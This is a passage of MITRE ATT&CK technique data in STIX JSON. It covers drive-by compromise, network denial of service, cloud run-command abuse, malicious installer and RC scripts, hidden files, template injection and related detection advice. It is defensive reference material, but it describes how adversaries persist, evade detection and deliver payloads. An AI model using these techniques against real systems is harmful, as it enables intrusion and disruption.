macOS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Walker Johnson"],"x_mitre_deprecated":false,"x_mitre_detection":"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","File: File Deletion"],"x_mitre_defense_bypassed":["Host forensic analysis"],"type":"attack-pattern","id":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","created":"2020-01-31T12:35:36.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/004","external_id":"T1070.004"},{"source_name":"Microsoft SDelete July 2016","description":"Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:55:47.494Z","name":"Drive-by Compromise","description":"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Content","Process: Process Creation","File: File Creation","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1189","external_id":"T1189"},{"source_name":"Shadowserver Strategic Web Compromise","description":"Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.","url":"http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"},{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:01:00.510Z","name":"Network Denial of Service","description":"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee"],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","created":"2019-04-17T20:23:15.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1498","external_id":"T1498"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"FSISAC FraudNetDoS September 2012","description":"FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.","url":"https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"},{"source_name":"FireEye OpPoisonedHandover February 2016","description":"Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"},{"source_name":"Symantec DDoS October 2014","description":"Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T13:42:42.543Z","name":"Cloud Administration Command","description":"Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Cisco","Nichols Jasper","Jared Wilson","Caio Silva","Adrien Bataille","Anders Vejlby","Nader Zaveri","Tamir Yehuda"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Script: Script Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","created":"2023-03-13T15:26:11.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1651","external_id":"T1651"},{"source_name":"AWS Systems Manager Run Command","description":"AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.","url":"https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"},{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"},{"source_name":"Microsoft Run Command","description":"Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-28T15:52:44.332Z","name":"Installer Packages","description":"Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Brandon Dalton @PartyD0lphin","Rodchenko Aleksandr"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Creation"],"x_mitre_effective_permissions":["root"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","created":"2022-09-27T18:02:16.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/016","external_id":"T1546.016"},{"source_name":"Application Bundle Manipulation Brandon Dalton","description":"Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.","url":"https://redcanary.com/blog/mac-application-bundles/"},{"source_name":"Debian Manual Maintainer Scripts","description":"Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.","url":"https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact"},{"source_name":"Windows AppleJeus GReAT","description":"Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.","url":"https://securelist.com/operation-applejeus/87553/"},{"source_name":"Microsoft Installation Procedures","description":"Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.","url":"https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"},{"source_name":"wardle evilquest parti","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.","url":"https://objective-see.com/blog/blog_0x59.html"},{"source_name":"Installer Package Scripting Rich Trouton","description":"Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.","url":"https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T13:46:55.039Z","name":"Scanning IP Blocks","description":"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Diego Sappa, Securonix"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","created":"2020-10-02T16:54:23.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1595/001","external_id":"T1595.001"},{"source_name":"Botnet Scan","description":"Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.","url":"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1158","url":"https://attack.mitre.org/techniques/T1158"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-13T21:01:22.966Z","name":"Hidden Files and Directories","description":"To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Michael Raggi @aRtAGGI","Brian Wiltse @evalstrings","Patrick Campbell, @pjcampbe11"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1221","url":"https://attack.mitre.org/techniques/T1221"},{"url":"https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)","description":"Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.","source_name":"Microsoft Open XML July 2017"},{"source_name":"SANS Brian Wiltse Template Injection","url":"https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780","description":"Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019."},{"url":"http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html","description":"Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.","source_name":"Redxorblue Remote Template Injection"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/","description":"Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.","source_name":"MalwareBytes Template Injection OCT 2017"},{"source_name":"Proofpoint RTF Injection","url":"https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread","description":"Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021."},{"source_name":"Ciberseguridad Decoding malicious RTF files","url":"https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/","description":"Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021."},{"url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","source_name":"Anomali Template Injection MAR 2018"},{"url":"https://blog.talosintelligence.com/2017/07/template-injection.html","description":"Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.","source_name":"Talos Template Injection July 2017"},{"url":"https://github.com/ryhanson/phishery","description":"Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.","source_name":"ryhanson phishery SEPT 2016"}],"modified":"2022-01-12T18:16:56.176Z","name":"Template Injection","description":"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the *\\template control word has been modified to retrieve a URL resource, such as *\\template http or *\\template \\u-.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Process: Process Creation","Network Traffic: Network Traffic Content"],"x_mitre_defense_bypassed":["Static File Analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-04-16T12:22:29.150Z","name":"RC Scripts","description":"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux","Network"],"x_mitre_version":"2.1","x_mitre_data_sources":["File: File Creation","Process: Process Creation","File: File Modification","Command: Command 